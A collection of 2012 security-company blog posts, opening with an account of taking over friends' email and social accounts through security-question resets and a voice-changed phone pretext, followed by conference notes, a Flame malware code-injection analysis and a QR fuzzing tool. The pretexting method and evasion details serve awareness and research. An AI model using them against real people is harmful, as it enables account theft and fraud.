Another old colleague of mine got his Hotmail hacked and he was using the simple security question “Where was your mother born”. It was the same city she lived in today and that HE lived in, Malmö (City in Sweden). The attack couldn’t have come more untimely as he was on his way, in an airplane, bound for the Canary Islands with his wife. After a couple of hours at the airport, his flight, and a taxi ride, he gets  a “Sorry, you don’t have a reservation here sir.” from the clerk. His hotel booking was canceled.

 

Most major sites are protected with advanced security appliances and several audits are done before a site is approved for deployment, which makes it more difficult for an attacker to find vulnerabilities using direct attacks aimed at the provided service. On the other hand, a lot of companies forget to train their support personnel and that leaves small gaps. As does their way of handling password restoration. All these little breadcrumbs make a bun in the end, especially when combined with information collected from other vendors and their services—primarily because there’s no global standard for password retrieval. Nor what should, and should not be disclosed over the phone.

 

You can’t rely on the vendor to protect you—YOU need to take precautions yourself. Like destroying physical papers, emails, and vital information. Print out the information and then destroy the email. Make sure you empty the email’s trashcan feature (if your client offers one) before you log out. Then file the printout and put it in your home safety box. Make sure that you minimize your mistakes and the information available about you online. That way, if something should happen with your service provider, at least you know you did all you could. And you have minimized the details an attacker might get.

 

I think you heard this one before, but it bears repeating: Never use the same password twice!
I entered my friend’s email in Gmail’s Forgot Password and answered the anti-bot question.
There we go; I quickly check his Hotmail and find the Gmail password restore link. New password, done.

Now for the gold: his Facebook. Using the same method there, I gained access to his Facebook; he had Flickr as well…set to login with Facebook. How convenient. I now own his whole online “life”.. There’s an account at an online electronics store; nice, and it’s been approved for credit.

An attacker could change the delivery address and buy stuff online. My friend would be knee deep in trouble. Theres also a iTunes account tied to his email, which would allow me to remote-erase his phones and pads. Lucky for him, I’m not that type of attacker.

 

Why would anyone want to have my information? Maybe you’re not that important; but consider that maybe I want access to your corporate network. I know you are employed because of that LinkedIn group. Posting stuff in that group with a malicious link from your account is more trustworthy than just a stranger with a URL. Or maybe you’re good friends with one of the admins—what if I contact him from your account and mail, and ask him to reset your corporate password to something temporary?
I’ve tried the method on six of my friends and some of my close relatives (with permission, of course). It worked on five of them. The other one had forgot what she put as the security question, so the question wasn’t answered truthfully. That saved her.
When I had a hard time finding information, I’d used voice-changing software on my computer, transforming my voice to that of a girl. Girls are gentle and less likely to try a hoax you; that’s how the mind works. Then I’d use Skype to dial them, telling them that I worked for the local church historical department, and the records about their grandfather were a bit hard to read. We are currently adding all this into a computer so people could more easily do ancestor searching and in this case, what I wanted was her grandfather’s profession. So I asked a couple of question then inserted the real question in the middle. Like the magician I am. Mundus vult decipi is latin for; The world wan’t to be decived.
In this case, it was easy.
She wasn’t suspicious at all I thanked her for her trouble and told her I would send two movie tickets as a thank you. And I did.
Another quick fix you can do today while cleaning your email? Use an email forwarder and make sure you can’t log into the email provided with the forwarding email. For example, in my domain there’s the email “spam@xxxxxxxxx.se” that is use for registering on forums and other random sites. This email doesn’t have a login, which means you can’t really log into the email provider with that email. And mail is then forwarded to the real address. An attacker trying to reset that password would not succeed.
Create a new email such as “imp.mail2@somehost.com” and use THIS email for important stuff, such as online shopping, etc. Don’t disclose it on any social sites or use it to email anyone; this is just a temporary container for your online shopping and password resets from the shopping sites. Remember what I said before? Print it, delete it. Make sure you add your mobile number as a password retrieval option to minimize the risk.
It’s getting easier and easier to use just one source for authentication and that means if any link is weak, you jeopardize all your other accounts aswell. You also might pose a risk to your employer.
INSIGHTS | August 8, 2012

Impressions from Black Hat, Defcon, BSidesLV and IOAsis

A week has passed since the Las Vegas craziness and we’ve had some time to write down our impressions about the Black Hat, Defcon and BSidesLV conferences as well as our own IOAsis event.

It was great for me to meet lots of people—some of who I only see once a year in Las Vegas. I think this is one of the great things about these events: being able to talk for at least a couple of minutes with colleagues and friends you don’t see regularly (the Vegas craziness doesn’t allow long chats most of the time). I also got to meet people personally for the first time after working together and/or communicating just by email, Twitter, or chat. The IOActive team delivered a lot of successful talks that were well received by the public, which makes me proud of our great team and reflects well our constant hard work.

By Fernando Anaboldi

 

Fwknop at IOAsis:

The “Single Packet Authorization” term was first mentioned by MadHat at the BlackHat Briefings in July 2005; however, the first available implementation of SPA was the release of fwknop in May 2005 by Michael Rash. Basically, it grants access to a service upon receiving a particular packet.

We had the opportunity at the IOAsis to attend a fwknop presentation given by Michael Rash. The tool is currently capable of performing several useful things:

·         It allows you to hide a service on a “closed” port.
·         It lets you create a “ghost service” where a port switches for a short period of time to whatever service is requested within an SPA packet (e.g. SSHD)—and it doesn’t seem to be susceptible to replay attacks like a normal port knocking implementation would.
·         And the list goes on.

 

Hidden and obscuring available services on external networks looks like a first interesting line of defense, and fwknop seems to be the leader in that field.

 

By Ian Amit @iiamit

 

BlackHat/BSides/Defcon Week: Finding My Peace

 

After finally recovering from a week (which felt like a month) in Vegas, I can safely say that I found my peace. Although it was one of the more hectic weeks I’ve had this year—and the most successful BlackHat/BSides/Defcon personally—I managed to find myself in a better place professionally, socially, and generally. How did this come about?

 

Although BlackHat has been wandering the past few years between what it used to be—a highly professional security conference—and what it started to become (for me at least)—a vendor dog-and-pony show—I thought the new format of tracks focused on different security elements made a difference in how attendees approached the topics. Additionally, the arsenal pods allowed more free-form presentations and discussions on new technologies and ideas while capitalizing on the hallway-track that conferences so famously miss out on.

 

My schedule really put me in a position to appreciate the entire spectrum of our amazing community: speaking at BlackHat first thing in the morning after the keynote, switching gears to volunteer for the security staff at BSidesLV, and then speaking at BSides. From the more polished feel of BlackHat to the relaxed atmosphere of BSides, from a stressful speaking slot to giving back to the community, it just made perfect sense…

 

Having a chance to get together with people I consider friends online and offline was another critical aspect of my week in Vegas. Although some of these meetings were ridiculously short, the energy, and the relationship boost they gave was invaluable. A critical part of being in information security is the ability to work with industry peers in ways that nurture critical thinking, innovation, and peer-support (and criticism). Being able to throw around research initiatives; explore new elements of the information security world; and talk about business, government, international relations, law, economics, physical security, and other crazy aspects that we all need to take into account is a must-have in an industry that has almost zero-tolerance for failure.

 

Wrapping it up with a massive Defcon attendance, talks, and of course the occasional party was the cherry on top. Although some nights felt more like work than play, you won’t hear me complaining because even though party hopping between 4–5 venues to catch up with everyone really took its toll physically, I got to see a beautiful sunrise over the desert.

 

Last but definitely not least, getting the chance to meet with co-workers from around the globe was a great experience made possible by working for a company large enough to have people in almost every time zone. So, being able to do that against the backdrop of an amazing Freakshow party (thanks again to Keith Myers and Infected Mushroom) just made all the talks about exploits, kernel space vulnerabilities, counter-intelligence, and social engineering that much more appropriate ?

 

Until the next Vegas, stay safe!
INSIGHTS | July 19, 2012

IOActive Las Vegas 2012

That time of the year is quickly approaching and there will be nothing but great talks and enjoyment. As a leading security and research company, IOActive will be sharing a lot of our latest research at BlackHat USA 2012, BSidesLV 2012, and IOAsis.  And, of course, we’ll also be offering some relaxation and party opportunities, too!

This year we are proud to be one of the companies with more talks accepted than anyone else at BlackHat USA 2012, an incredible showing that backs up our team’s hard work:
·         SEXY DEFENSE – MAXIMIZING THE HOME-FIELD ADVANTAGE, by Iftach Ian Amit
·     EASY LOCAL WINDOWS KERNEL EXPLOITATION, by Cesar Cerrudo
·     THE LAST GASP OF THE INDUSTRIAL AIR-GAP, by Eireann Leverett
·     HERE BE BACKDOORS: A JOURNEY INTO THE SECRETS OF INDUSTRIAL FIRMWARE, by Ruben Santamarta
We also will be showing interesting tools at BlackHat Arsenal:
·         BURP EXTENSIBILITY SUITE by James Lester and Joseph Tartaro
…and we will be presenting at BSidesLV 2012, too:
·         SEXY DEFENSE – MAXIMIZING THE HOME-FIELD ADVANTAGE, by Iftach Ian Amit
·         OCCUPY BURP SUITE: Informing the 99% What the 1% are Taking Advantage Of, by James Lester and Joseph Tartaro
But wait, that’s not all—at same time as BlackHat and BSidesLV we will be running IOAsis, where VIPs can meet with our team and also attend exclusive talks, where our team will present their latest research. 
Enough already? No, there’s still more. For the second year IOActive will be sponsoring BarCon, an exclusive, invitation-only event where the great hacking minds get together to talk about who knows what. And to drink. 
And last, but certainly not least, IOActive will present the fifth annual Defcon Freakshow, the freakiest party for celebrating Defcon 20!  More information is available on the Facebook page: http://www.facebook.com/events/409482889093061/

 

If you are not tired of reading yet, continue and find more information about our talks at BlackHat USA 2012 and BSidesLV 2012:

 HERE BE BACKDOORS: A JOURNEY INTO THE SECRETS OF INDUSTRIAL FIRMWARE, by Ruben Santamarta
July 25, 2012. 5:00–6:00pm. BlackHat USA 2012

PLCs, smart meters, SCADA, Industrial Control Systems…nowadays all those terms are well known for the security industry. When critical Infrastructures come into play, the security of all those systems and devices that control refineries, and water treatment or nuclear plants pose a significant attack vector.

For years, the isolation of that world provided the best ‘defense’ but things are changing and that scenario is no longer valid. Is it feasible to attack a power plant without ever visiting one? Is it possible to hack into a smart meter…without having that smart meter? Yes, it is. This talk discusses the approach followed to do so, mixing theory and practice.

This presentation pivots around the analysis of firmware through reverse engineering in order to discover additional scenarios such as backdoors, confidential documentation or software, and vulnerabilities. Everything explained will be based on real cases, unveiling curious ‘features’ found in industrial devices and disclosing some previously unknown details of an interesting case: a backdoor discovered in a family of smart meters.

We will navigate through the dark waters of Industrial Control Systems, where security by obscurity has ruled for years. Join us on this journey, here be backdoors…

THE LAST GASP OF THE INDUSTRIAL AIR-GAP, by Eireann Leverett
July 25, 2012. 2:15–3:15pm. BlackHat USA 2012

Industrial systems are widely believed to be air-gapped. At previous Black Hat conferences, people have demonstrated individual utilities control systems directly connected to the internet. However, this is not an isolated incident of failure, but rather a disturbing trend. By visualizing results from SHODAN over a 2-1/2–year period, we can see that there are thousands of exposed systems around the world. By using geo-location and vulnerability pattern matching to service banners, we can see their rough physical location and the numbers of standard vulnerabilities they are exposed to.

This allows us to look at statistics about the industrial system security posture of whole nations and regions. During the process of this project, I worked with ICS-CERT to inform asset-owners of their exposure and other CERT teams around the world. The project has reached out to 63 countries, and sparked discussion of convergence toward the public internet of many insecure protocols and devices.
The original dissertation can be found here:  https://ioactive.com/wp-content/uploads/2012/07/2011-Leverett-industrial.pdf

EASY LOCAL WINDOWS KERNEL EXPLOITATION, by Cesar Cerrudo
July 26, 2012. 5:00–6:00pm BlackHat USA 2012

For some common local kernel vulnerabilities there is no general, multi-version, reliable way to exploit them. While there have been interesting techniques published, they are neither simple nor do they work across different Windows versions most of the time. This presentation will show easy and reliable cross-platform techniques for exploiting some common local Windows kernel vulnerabilities. These new techniques even allow exploitation of vulnerabilities that have been considered difficult or almost impossible to exploit in the past.

SEXY DEFENSE – MAXIMIZING THE HOME-FIELD ADVANTAGE, by Iftach Ian Amit
July 25, 2012. 10:15–11:15am.BlackHat USA 2012
July 25, 2012. 5:00–6:00 pm. BSidesLV 2012

Offensive talks are easy, I know. But the goal of offensive security at the end of the day is to make us better defenders. And that’s hard. After the penetration testers (or worse, the red team) leaves, there’s usually a whole lot of vulnerabilities, exposures, threats, risks and wounded egos. Now comes the money time—can you fix this so your security posture will actually be better the next time these guys come around?

This talk focuses mainly on what should be done, not what should be BOUGHT—you probably have most of what you need already in place and you just don’t know it yet.
The talk will show how to expand the spectrum of defenders from a reactive one to a proactive one, will discuss ways to perform intelligence gathering on your opponents, and will model how that can assist in focusing on an effective defense rather than a “best practice” one. Methodically, defensively, decisively. The red team can play ball cross-court, so should you!

BURP EXTENSIBILITY SUITE, by James Lester and Joseph Tartaro
July 25, 2012. 3:30–4:30 pm BlackHat USA 2012 – Arsenal

Whether it be several Class B Subnets, a custom web application utilizing tokenization, or the integration of third-party detection/exploitation software, there comes a time when your go-to testing application is insufficient as is. With Burp Suite Extensibility you can push these requirements to the next level by building functionality that allows you to perform your required task while maintaining efficiency, value, and, most of all, detection/exploitation of the specified target. Several extensions along with a common extensibility framework will be on display to demonstrate its ability, adaptation, and ease of use while still reaching your testing requirements. Along with the demonstration, these extensions will be released to the public during the week of BlackHat to encourage further development and extensibility participation.

OCCUPY BURP SUITE: Informing the 99% What the 1% are Taking Advantage Of, by James Lester and Joseph Tartaro
July 26, 2012. 3:00–4:00 pm BSidesLV 2012

In this presentation, James Lester and Joseph Tartaro will focus on building demand, support, and an overall desire around the creation of Burp Suite extensions with the hope of bringing extensibility to the forefront of web application testing. Lester and Tartaro will introduce up to a dozen extensions they’ve created that utilize currently-accessible functionality within the extensibility suite. Along with the release of these extensions, a campaign will be presented to organize and develop an extension community that documents tool primers, lessons learned, and tips/tricks; and hosts extensions and tools catered to Burp. Something learned isn’t research until it’s shared—putting this statement into practice, the duo believes that BSides is the perfect environment to help collect data, convey interests, and share results.
INSIGHTS | June 28, 2012

Inside Flame: You Say Shell32, I Say MSSECMGR

When I was reading the CrySyS report on Flame (sKyWIper)[1], one paragraph, in particular, caught my attention:
 
In case of sKyWIper, the code injection mechanism is stealthier such that the presence of the code injection cannot be determined by conventional methods such as listing the modules of the corresponding system processes (winlogon, services, explorer). The only trace we found at the first sight is that certain memory regions are mapped with the suspicious READ, WRITE and EXECUTE protection flags, and they can only be grasped via the Virtual Address Descriptor (VAD) kernel data structure
 
So I decided to take a look and see what kind of methods Flame was using.
Flame is conceived to gather as much information as possible within heterogeneous environments that can be protected by different solutions, isolated at certain levels, and operated upon by different profiles. Which means that, from the developers point of view, you can’t assume anything and should be prepared for everything.
Some of the tricks implemented in Flame seem to focus on bypass just as much AV products, specifically in terms of heuristics. A distributed “setup” functionality through three different processes (winlogon, explorer, and services ) is way more confusing than letting a unique, trusted process do the job; i.e. it’s less suspicious to detect Internet Explorer coming from explorer.exe than winlogon.
In essence, the injection method seems to pivot around the following three key features:
·         Disguise the malicious module as a legitimate one; Shell32.dll in this case.
·         Bypass common registration methods supplied by the operating system, such as LoadLibrary, to avoid being detected as an active module.
·         Achieve the same functionality as a correctly-registered module.
 
So, let’s see how Flame implements it.
During the initial infection when DDEnumCallback is called, Flame injects a blob and creates a remote thread in Services.exe. The blob has the following structure:
 
The loader stub is a function that performs the functionality previously described: basically a custom PE loader that’s similar to the CryptoPP dllloader.cpp[2] with some additional tricks.
 

The injection context is a defined structure that contains all the information the loader stub may need including API addresses or names, DLL names, and files—in fact, the overall idea reminded me of Didier Stevens’ approach to generating shellcodes directly from a C compiler[3]

Injection Context: Blob + 0x710

 
 
 

API Addresses:

esi             OpenMutexW
esi+4        VirtualAlloc
esi+8        VirtualFree
esi+0Ch   VirtualProtect
esi+10h    LoadLibraryA
esi+14h    LoadLibraryW
esi+18h    GetModuleHandleA
esi+1Ch   GetProcAddress
esi+20h    memcpy
esi+24h    memset
esi+28h    CreateFileMappingW
esi+2Ch   OpenFileMappingW
esi+30h    MapViewOfFile
esi+34h    UnmapViewOfFile
esi+38h    ReleaseMutex
esi+3Ch   NtQueryInformationProcess
esi+40h    GetLastError
esi+44h    CreateMutexW
esi+48h    WaitForSingleObject
esi+4Ch   CloseHandle
esi+50h    CreateFileW
esi+54h    FreeLibrary
esi+58h    Sleep
esi+5Ch   LocalFree
The loader stub also contains some interesting tricks.

 

Shell32.dll:  A matter of VAD

To conceal its own module, Flame hides itself behind Shell32.dll, which is one of the largest DLLs you can find on any Windows system, meaning it’s large enough to hold Flame across different versions.
 
 
 
Once shell32.dll has been mapped, a VAD node is created that contains a reference to the FILE_OBJECT, which points to Shell32.dll. Flame then zeroes that memory and loads its malicious module through the custom PE loader, copying sections, adjusting permissions, and fixing relocations.
 
 
 
As a result, those forensics/AntiMalware/AV engines walking the VAD tree to discover hidden DLLs (and not checking images) would be bypassed since they assume that memory belongs to Shell32.dll, a trusted module, when it’s actually mssecmgr.ocx.
The stub then calls to DllEntryPoint, passing in DLL_PROCESS_ATTACH to initialize the DLL.
 
 
 
The malicious DLL currently has been initialized, but remember it isn’t registered properly, so cannot receive remaining events such as DLL_THREAD_ATTACH, DLL_THREAD_DETACH, and DLL_PROCESS_DETACH.
And here comes  the final trick:
 
 
 
The msvcrt.dll is loaded up to five times, which is a little bit weird, no?
Then the PEB InLoadOrder structure is traversed to find the entry that corresponds to msvcrt.dll by comparing the DLL base addresses:
 
 
 
Once found, Flame hooks this entry point:
 
 
 
InjectedBlock1 (0x101C36A1) is a small piece of code that basically dispatches the events received to both the malicious DLL and the original module.
The system uses this entry point to dispatch events to all the DLLs loaded in the process; as a result, by hooking into it Flame’s main module achieves the goal of receiving all the events other DLLs receive. Therefore, it can complete synchronization tasks and behaves as any other DLL. Neat.
I assume that Flame loads msvcrt.dll several times to increase its reference count to prevent msvcrt.dll from being unloaded, since this hook would then become useless.
See you in the next post!
INSIGHTS |

Thoughts on FIRST Conference 2012

I recently had the opportunity to attend the FIRST Conference in Malta and meet Computer Emergency Response Teams from around the world. Some of these teams and I have been working together to reduce the internet exposure of Industrial Control Systems, and I met new teams who are interested in the data I share. For those of you who do not work with CERTs, FIRST is the glue that holds together the international collaborative efforts of these teams—they serve as both an organization that makes trusted introductions, and vets new teams or researchers (such as myself).

It was quite an honor to present a talk to this audience of 500 people from strong technical teams around the world. However, the purpose of this post is not my presentation, but rather to focus on all of the other great content that can be found in such forums. While it is impossible to mention all the presentations I saw in one blog post, I’d like to highlight a few.
A session from ENISA and RAND focused on the technical and legal barriers to international collaboration between National CERTS in Europe. I’m interested in this because during the process of sharing my research with various CERTs, I have come to understand they aren’t equal, they’re interested in different types of information, and they operate within different legal frameworks. For example, in some European countries an IP address is considered private information and will not be accepted in incident reports from other teams. Dr. Silvia Portesi and Neil Robinson covered a great wealth of this material type in their presentation and report, which can be found at the following location:
In the United Kingdom, this problem has been analyzed by Andrew Cormack, Chief Regulatory Advisor at Janet. If I recall correctly, our privacy model is far more usable in this respect  and Andrew explained it to me like this:
If an organization cannot handle private data to help protect privacy (which is part of its mission), then we are inhibiting the mission of the organization with our interpretation of the law.
This is relevant to any security researcher who works within incident response frameworks in Europe and who takes a global view of security problems.
Unfortunately, by attending this talk—which was directly relevant to my work—I had to miss a talk by Eldar Lillevik and Marie Moe of the NorCERT team. I had wanted to meet with them regarding some data I shared months ago while working in Norway. Luckily, I bumped into them later and they kindly shared the details I had missed; they also spent some of their valuable time helping me improve my own reporting capabilities for CERTs and correcting some of my misunderstandings. They are incredibly knowledgeable people, and I thank them for both their time and their patience with my questions.
Of course, I also met with the usual suspects in ICS/Smart Grid/SCADA security: ICS-CERT and Siemens. ICS-CERT was there to present on what has been an extraordinary year in ICS incident response. Of note, Siemens operates the only corporate incident response team in the ICS arena that’s devoted to their own products. We collectively shared information and renewed commitments to progress the ICS agenda in Incident Response by continuing international collaboration and research. I understand that GE-CIRT was there too, and apparently they presented on models of Incident Response.
Google Incident Response gave some excellent presentations on detecting and preventing data exfiltration, and network defense. This team impressed me greatly: they presented as technically-savvy, capable defenders who are actively pursuing new forensic techniques. They demonstrated clearly their operational maturity: no longer playing with “models,” they are committed to holistic operational security and aggressive defense.
Austrian CERT delivered a very good presentation on handling Critical Infrastructure Information Protection that focused on the Incident Response approach to critical infrastructure. This is a difficult area to work in because standard forensic approaches in some countries—such as seizing a server used in a crime—aren’t appropriate in control system environments. We met later to talk over dinner and I look forward to working with them again.
Finally, I performed a simple but important function of my own work, which comprises meeting people face-to-face and verifying their identities. This includes our mutually signing crypto-keys, which allows us to find and identify other trusted researchers in case of an emergency. Now that SCADA security is a global problem, I believe it’s incredibly important (and useful) to have contacts around the world with which IOActive already shares a secure channel
INSIGHTS | June 13, 2012

Old Tricks, New Targets

Just a few days ago, Digitalbond announced that they had been victims of a spear phishing attack. An employee received an email linking to a malicious zip file, posing as a legitimate .pdf paper related to industrial control systems security. Therefore, the bait used by the attackers was supposedly attracting targets somehow involved with the ICS community. (more…)

INSIGHTS | June 6, 2012

Summercon 2012

Hi Everyone,
Chris Valasek guest blogging here at IOActive. I just wanted to tell everyone a little bit about my involvement with Summercon and what to expect at the conference. Although I’m one of the current organizers (along with Mark Trumpbour @mtrumpbour), I’m obviously not the originator, as it started many years back (1987, I believe) as detailed in the most recent Phrack magazine.


 I started attending in 2000 when it was in Atlanta, GA and had a fantastic time. Over the years, the conference has changed and organizational efforts have varied, as running a conference is quite subjective and provides little utility (at times). Around 2006, the changing of the guard happened once again, leaving Mark and me the new organizers of the con. Like others that came before us, we put our own touch on the conference and have probably strayed further from the original than any before us.

 

While the talks are still the main attraction, the ability to meet people and have a good time is really what we want it to be all about. Many of us live in a world without much social interaction. The purpose of Summercon, in my opinion, is to provide an event that promotes social interaction of people with similar but varying backgrounds. If you really want to learn about the material being presented on, then you will take the time to review the content and figure out its purpose after the presentation. The ability to talk to others about your ideas and thoughts, regardless of their relevance to computer security, is the main benefit of gathering in a centralized location.

 

With that being said, I really do think we have a fantastic line-up of speakers this year that will promote stimulating conversation throughout the weekend (https://www.summercon.org/). Whether you’re interested in Android hacking, instrumentation, or reverse engineering, I think you’ll be happy with the speakers this year (and every year for that matter!).

 

Lastly, I’d like to talk a bit about sponsorship. Although we feel that we had to ‘sell-out’ a bit by acquiring sponsors, it does facilitate having many more people attend and present at Summercon. I want to remind everyone that we’re not out to make a profit, but to throw the best party we can. By having sponsors, such as IOActive, we can ensure that speakers don’t have to pay their own way and attendees can have a blast learning something while making new friends.

 

        cv
P.S. We have big plans for next year, so follow @SummerC0n on twitter for more information.
INSIGHTS | May 24, 2012

QR Fuzzing Fun

QR codes [1] have become quite popular due to their fast readability and large storage capacity to send information. It is very easy to find QR codes anywhere these days with encoded information such as a URL, phone number, vCard information, etc. There exist tons of apps on smartphones that are able to read / scan QR codes.

 
 
The table below shows some of the most common apps and libraries for the major mobile platforms – keep in mind that there are many more apps than listed here.
 
Platform
Popular QR Apps / Libraries
Android
·       Google Goggles
·       ZXing
·       QRDroid
iOS
·       Zxing
·       Zbar
BlackBerry
·       App World
Windows Phone
·       Bing Search App
·       ZXlib

QR codes are very interesting for attackers as they can store large quantity of information, from under 1000 up to 7000 characters, perfect for a malicious payload, and QR codes can be encrypted and used for security purposes. There are malicious QR codes that abuse permissive apps permissions to compromise system and user data. This attack is known as “attagging”. Also QR codes can be used as an attack vector for DoS, SQL Injection, Cross-Site Scripting (XSS) and information stealing attacks among others.
 
I have been pentesting Apps that supported QR codes lately, so I thought will be a good idea to fuzz this feature looking for bugs. I developed a tool for QR fuzzing called IOAQRF (beta phase) that is quite easy to use and modify as well in case you need to add something else.

This tool is composed of two files: a Python file that generates QR fuzz patterns and a shell script that can be used to generate common QR code content that apps use, such as phone numbers, SMS, and URLs. Previous work has been done on this field [2] [3] but more can be researched for sure! Enjoy the fuzzing!
 
 
Links
 
 
IOAQRF directory output
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Opening index.html with fuzz QR codes